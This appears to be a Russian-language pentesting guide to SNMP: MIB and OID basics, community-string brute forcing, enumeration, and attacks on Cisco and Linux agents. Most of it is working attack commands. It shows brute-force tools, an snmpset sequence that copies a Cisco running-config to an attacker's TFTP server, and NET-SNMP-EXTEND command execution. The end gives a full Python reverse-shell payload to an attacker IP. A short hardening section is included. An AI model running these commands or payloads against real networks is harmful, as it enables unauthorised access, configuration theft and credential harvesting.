December 5

Атаки на SNMP (Simple Network Management Protocol)

Базовая информация

SNMP (Simple Network Management Protocol) — протокол, который используют для мониторинга разных устройств в сети (роутеры, свитчи, принтеры, IoT и т.п.).

Пример баннера:

PORT    STATE SERVICE REASON                 VERSION
161/udp open  snmp    udp-response ttl 244   ciscoSystems SNMPv3 server (public)
Совет
SNMP также использует порт 162/UDP для traps.
Traps — это пакеты данных, которые сервер SNMP отправляет клиенту без явного запроса с его стороны.

MIB

Чтобы SNMP нормально работал между разными вендорами и разными связками клиент–сервер, придумали MIB (Management Information Base).

MIB — это независимый формат хранения информации об устройстве.
Фактически это текстовый файл, в котором все доступные для опроса SNMP-объекты конкретного устройства перечислены в виде стандартизированного древовидного дерева.

Каждый MIB содержит как минимум один Object Identifier (OID), который, кроме уникального адреса и имени, описывает:

  • тип объекта,
  • права доступа,
  • текстовое описание.

Файлы MIB пишутся на основе ASN.1 (Abstract Syntax Notation One) в ASCII-тексте.
Сами MIB-файлы не содержат данных. Они описывают:

  • где именно искать нужную информацию;
  • какой тип данных там лежит;
  • какие значения может возвращать конкретный OID.

OIDs

OIDs (Object Identifiers) — ключевой элемент. Это уникальные идентификаторы управляемых объектов внутри MIB.

Верхние уровни дерева OID выделены под разные стандартизирующие организации.
Именно там задаётся каркас общих стандартов и практик управления.

Дальше у вендоров есть свои частные ветки. В этих ветках производитель может:

  • создавать свои объекты управления;
  • описывать параметры, характерные именно для его железа и продуктов.

Так получается единая, но расширяемая система идентификации и управления объектами.

Навигировать по OID-дереву можно прямо в браузере, например:

Есть известные OID’ы, например ветка 1.3.6.1.2.1 — это MIB-2, где определены стандартные SNMP-переменные.
Из дочерних OID этой ветки можно получить кучу интересной информации о хосте: системные данные, сетевые интерфейсы, процессы и т.д.


Пример OID

Пример отсюда:

1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3 . 21 . 1 . 4 . 7

Разберём по частям:

  • 1ISO, признак того, что это вообще OID. Поэтому все OID начинаются с 1.
  • 3ORG, указывает организацию, связанную с объектом.
  • 6dod (Department of Defense) — исторически организация, стоявшая у истоков Интернета.
  • 1 — значение internet, то есть пространство имён Интернета.
  • 4 — ветка, показывающая, что устройство относится к частной организации, а не государству.
  • 1 — ветка enterprise, то есть объект принадлежит какому-то бизнесу или компании.

Эти первые шесть чисел почти всегда одинаковые и дают базовую информацию.
Дальше начинаются более конкретные данные.

Следующий блок:

  • 1452 — идентификатор организации-производителя устройства.
  • 1 — тип устройства. В примере — будильник.
  • 2 — признак того, что это remote terminal unit.

Остаток OID даёт уже совсем специфичную инфу:

  • 5 — дискретная точка тревоги;
  • 1 — конкретная точка внутри устройства;
  • 3 — порт;
  • 21 — адрес порта;
  • 1 — дисплей, связанный с портом;
  • 4 — номер точки;
  • 7 — состояние точки.

Версии SNMP

Из практических версий нас интересуют:

  • SNMPv1
    Самая старая и до сих пор очень распространённая.
    Аутентификация — через строку (community string), которая передаётся в открытом виде, как и все данные.
    SNMPv2 / v2c тоже передают всё в plain-text и используют community string.
  • SNMPv3
    Использует более серьёзную схему аутентификации, а данные передаёт в зашифрованном виде.
    Теоретически возможна словесная (dictionary) атака, но подобрать учётку гораздо сложнее, чем у v1/v2c.

Community Strings

Как уже было сказано, для доступа к данным MIB в SNMPv1 и v2/2c нужно знать community string, а в SNMPv3 — логин/пароль (и параметры безопасности).

Есть два основных типа community string:

  • public — обычно даёт только чтение (read-only);
  • private — как правило, чтение/запись (read-write).

Важно: возможность записи по конкретному OID зависит от использованной community string, поэтому даже если у вас есть только public,
вполне возможно, что некоторые значения всё же можно менять.
Плюс есть объекты, которые всегда только на чтение.

Если попытаться записать значение в объект, для которого это запрещено, вы получите ошибку noSuchName или readOnly.

В SNMP v1/v2/2c при неверной community string сервер просто не отвечает.
То есть если SNMP ответил — community string была валидной.


Порты

По данным Wikipedia:

  • Агент SNMP принимает запросы на UDP-порт 161.
  • Менеджер получает уведомления (Traps и InformRequests) на порт 162.
  • При использовании TLS или DTLS:
    • запросы принимаются на 10161,
    • уведомления отправляются на 10162.

Брутфорс community string (v1 и v2c)

Чтобы подобрать community string, используется словарная атака.
Разные способы брутфорса SNMP описаны здесь:
https://book.hacktricks.wiki/en/generic-hacking/brute-force.html#snmp

Часто встречающаяся строка — public.


Перечисление SNMP

Чтобы понять, что означает каждый OID, имеет смысл подтянуть MIB-ы:

apt-get install snmp-mibs-downloader download-mibs

# потом закомментировать строку "mibs :" в /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf

Дальше, зная корректную community string, можно ходить в SNMP с помощью snmpwalk / snmpbulkwalk или snmp-check:

# Массовый обход дерева (важна финальная точка!)
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] .
snmpbulkwalk -c public -v2c 10.10.11.136 .

# Обычный обход
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [IP]

# Получить IPv6 (нужен dec2hex)
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [IP] 1.3.6.1.2.1.4.34.1.3

# Расширенные объекты
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [IP] NET-SNMP-EXTEND-MIB::nsExtendObjects

# Полное перечисление
snmpwalk -v [VERSION_SNMP] -c [COMM_STRING] [IP] .1

# Быстрый аудит
snmp-check [IP] -p [PORT] -c [COMM_STRING]

# Nmap-скрипты
nmap --script "snmp* and not snmp-brute" <target>

# Брут конкретного диапазона OID
braa <community string>@<IP>:.1.3.6.*

Благодаря extended-запросам (и загруженным MIB-ам) можно вытащить ещё больше системной информации:

snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull

Через SNMP часто удаётся собрать очень много данных о хосте. Особенно интересны:

  • сетевые интерфейсы (включая IPv6);
  • имена пользователей;
  • аптайм;
  • версия ОС/сервера;
  • запущенные процессы (иногда прямо с паролями в аргументах).

Опасные настройки

Некоторые параметры SNMP в контексте безопасности особенно критичны — они отвечают за доступ к полной OID-иерархии.

Настройки доступа

Есть две ключевые настройки, которые могут дать полный доступ ко всему OID-дереву:

  1. rwuser noauth
    Разрешает полное RW-доступ к дереву OID без аутентификации.
    Прямой и очень опасный вариант.
  2. Более точечный подход — через:
    • rwcommunity для IPv4,
    • rwcommunity6 для IPv6.

Обе команды требуют указать community string и IP-адрес (или маску).
Результат — полный доступ, независимо от источника запроса, если он подходит под правило.


SNMP-параметры для Microsoft Windows

Через SNMP на Windows можно мониторить разные вещи по конкретным MIB-значениям:

  • Системные процессы1.3.6.1.2.1.25.1.6.0
    Позволяет смотреть количество активных процессов.
  • Запущенные программы1.3.6.1.2.1.25.4.2.1.2
  • Путь к процессу1.3.6.1.2.1.25.4.2.1.4
  • Носители/хранилища1.3.6.1.2.1.25.2.3.1.4
  • Имя установленного ПО1.3.6.1.2.1.25.6.3.1.2
  • Учётные записи пользователей1.3.6.1.4.1.77.1.2.25
  • Локальные TCP-порты1.3.6.1.2.1.6.13.1.3

Массовый SNMP-скан

Braa — массовый SNMP-сканер.

В отличие от snmpwalk из net-snmp, Braa может:

  • опрашивать десятки и сотни хостов одновременно;
  • работать одним процессом;
  • потреблять очень мало ресурсов и сканировать очень быстро.

У Braa свой собственный SNMP-стек, поэтому ему не нужны внешние библиотеки.

Синтаксис:

braa [community]@[IP_SNMP_сервера]:[iso id]

braa ignite123@192.168.1.125:.1.3.6.*

На выходе вы получите очень много данных (мегабайты), которые руками не разобрать.
Поэтому дальше выдираем самое интересное. Ниже — приёмчики из:
https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/


Устройства

Сначала определяем типы устройств с помощью sysDesc:

  • OID: 1.3.6.1.2.1.1.1.0

По файлам .snmp можно пройтись:

grep ".1.3.6.1.2.1.1.1.0" *.snmp

Поиск private-строки

Задача — найти private community string, особенно на Cisco IOS, чтобы:

  • сливать running-config,
  • или другие чувствительные настройки.

Иногда нужные строки всплывают в trap-логах. Тогда ищем слово trap:

grep -i "trap" *.snmp

Usernames / Passwords

В MIB-таблицах могут лежать логи неуспешных логинов.
Иногда пользователи случайно забивают пароли в поле username — и это улетает в лог.

Ищем по ключевым словам:

grep -i "login\|fail" *.snmp

Email-адреса

Извлечь email-ы можно через grep с regexp:

grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp

Изменение значений SNMP

Для изменения значений можно использовать, например, NetScanTools.
Для этого нужно знать private community string.


Спуфинг

Если доступ к SNMP ограничен ACL и разрешены только определённые IP, можно:

  • подделать (spoof) один из разрешённых адресов в UDP-пакетах,
  • и параллельно снифать ответы, чтобы всё равно получить данные.

Проверка конфигов SNMP

Типичные файлы конфигурации:

  • snmp.conf
  • snmpd.conf
  • snmp-config.xml

Cisco SNMP

Тестирование Cisco-сетей

SNMP у Cisco работает по UDP:

  • 161/UDP — обычные запросы/ответы;
  • 162/UDP — trap-сообщения.

Протокол опирается на community strings — это по сути «пароли» в открытом виде, определяющие:

  • уровень доступа: RO (read-only) или RW (read-write);
  • кто может управлять устройством.

Классический (и до сих пор эффективный) вектор — подбор community string,
чтобы с анонимного уровня подняться до админского RW-доступа.

Удобный инструмент:

onesixtyone -c community_strings.txt -i targets.txt

Другие быстрые варианты:

# Nmap NSE
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24

# Hydra
hydra -P wordlist.txt -s 161 10.10.10.1 snmp

Дамп конфига через SNMP (CISCO-CONFIG-COPY-MIB)

Если у вас есть RW-community, можно слить running-config / startup-config
на TFTP/FTP-сервер без доступа к CLI, злоупотребляя MIB CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96).

Два основных пути:

  1. Nmap NSE — snmp-ios-config
nmap -sU -p161 --script snmp-ios-config \
     --script-args creds.snmp=private 192.168.66.1

Скрипт сам организует копирование и напечатает конфиг в stdout.

  1. Ручная последовательность snmpset
# Копируем running-config (4) на TFTP-сервер (1), row id = 1234
snmpset -v2c -c private 192.168.66.1 \
  1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \
    # protocol = tftp
  1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \
    # sourceFileType = runningConfig
  1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \
    # destFileType = networkFile
  1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \
    # TFTP server IP
  1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s "backup.cfg" \
  1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4
    # rowStatus = createAndGo

Обрати внимание: row id одноразовый — повторное использование в течение ~5 минут даст inconsistentValue.

Когда конфиг уже лежит на TFTP-сервере, его можно:

  • просмотреть на предмет паролей (enable secret, username <user> secret и т.п.),
  • или даже подготовить модифицированный конфиг и залить его обратно.

Полезное в Metasploit

  • cisco_config_tftp — скачивает running/startup-config через TFTP, используя тот же MIB.
  • snmp_enum — собирает инвентаризационные данные: информацию об устройстве, VLAN’ы, описания интерфейсов, ARP-таблицу и т.д.

Пример:

use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run

Свежие уязвимости Cisco SNMP (2023–2025)

Следить за вендорскими advisory полезно, чтобы находить “0-day → n-day” возможности в рамках пентеста.

Год CVE Компонент Влияние 2025 CVE-2025-20174 SNMP subsystem Специальный пакет приводит к аутентифицированному DoS (reload) на IOS/IOS-XE (v1/v2c/v3). 2024 CVE-2024-20373 IPv4 ACL handling Некорректно настроенные extended ACL могут тихо проваливаться, позволяя неаутентифицированные SNMP-опросы при известной community/user. 2025 (без CVE пока) SNMPv3 restriction bypass Пользователь SNMPv3 может опрашивать устройство с адресов, которые должны быть запрещены.

Эксплуатация почти всегда требует:

  • знать community string или
  • иметь учётку SNMPv3.

Ещё один аргумент в пользу того, что брутфорс SNMP всё ещё актуален.


Hardening и детекция

  • Обновиться до исправленной версии IOS/IOS-XE (см. advisory Cisco).
  • Использовать SNMPv3 с authPriv (SHA-256 + AES-256) вместо v1/v2c: snmp-server group SECURE v3 priv snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
  • Привязать SNMP к management VRF и ограничить доступ standard IPv4 ACL
    (отказаться от extended named ACL из-за CVE-2024-20373).
  • Отключить RW-community.
    Если без них никак — жёстко ограничить по ACL и по views: snmp-server community <string> RW 99 view SysView
  • Мониторить:
    • всплески UDP/161,
    • неожиданные источники запросов (правила в SIEM).
    • события CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource — признак изменений конфига помимо стандартных каналов.
  • Включить логирование SNMPv3 и при необходимости задать: snmp-server packetsize 1500 чтобы уменьшить воздействие некоторых DoS-векторов.

Ссылки

  • Cisco: How To Copy Configurations To and From Cisco Devices Using SNMP
  • Cisco Security Advisory cisco-sa-snmp-uwBXfqww (CVE-2024-20373)

SNMP RCE

Если админ оставил SNMP по умолчанию и дал запись (rwcommunity), это можно использовать для удалённого выполнения команд на Linux-сервере.

Идея: злоумышленник злоупотребляет SNMP-расширениями (NET-SNMP-EXTEND-MIB), чтобы заставить агент выполнять команды при чтении OID.


Расширение сервиса дополнительными командами

Можно добавить новые команды в SNMP, создав строки в таблице nsExtendObjects.

Пример с snmpset:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
  'nsExtendStatus."evilcommand"' = createAndGo \
  'nsExtendCommand."evilcommand"' = /bin/echo \
  'nsExtendArgs."evilcommand"' = 'hello world'

Здесь мы:

  • создаём объект evilcommand,
  • задаём команду /bin/echo,
  • передаём аргументы hello world.

Инъекция команд для выполнения

Для запуска команды через NET-SNMP-EXTEND-MIB нужно:

  • указывать абсолютный путь к бинарнику/скрипту;
  • убедиться, что он существует и исполняем.

Проверить, что команда записалась, можно через snmpwalk:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

В выводе будет:

  • сама команда,
  • её аргументы,
  • путь к исполняемому файлу.

Запуск внедрённых команд

Особенность NET-SNMP-EXTEND-MIBrun-on-read():

Когда OID читают, команда выполняется.

То есть достаточно сделать snmpwalk по нужному объекту — и команда запустится.


Получение shell через SNMP

Есть готовый инструмент от mxrch:
https://github.com/mxrch/snmp-shell.git

Он:

  • использует описанный механизм расширений;
  • позволяет получить интерактивный shell через SNMP.

Установка зависимостей:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Альтернативный путь — сразу прописать reverse shell в SNMP:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 \
  'nsExtendStatus."command10"' = createAndGo \
  'nsExtendCommand."command10"' = /usr/bin/python3.6 \
  'nsExtendArgs."command10"' = \
'-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Дальше:

  • на атакующей машине слушаем порт 8999,
  • делаем snmpwalk по нужному объекту,
  • при чтении OID срабатывает reverse shell, и мы получаем интерактивный /bin/sh.

Ссылки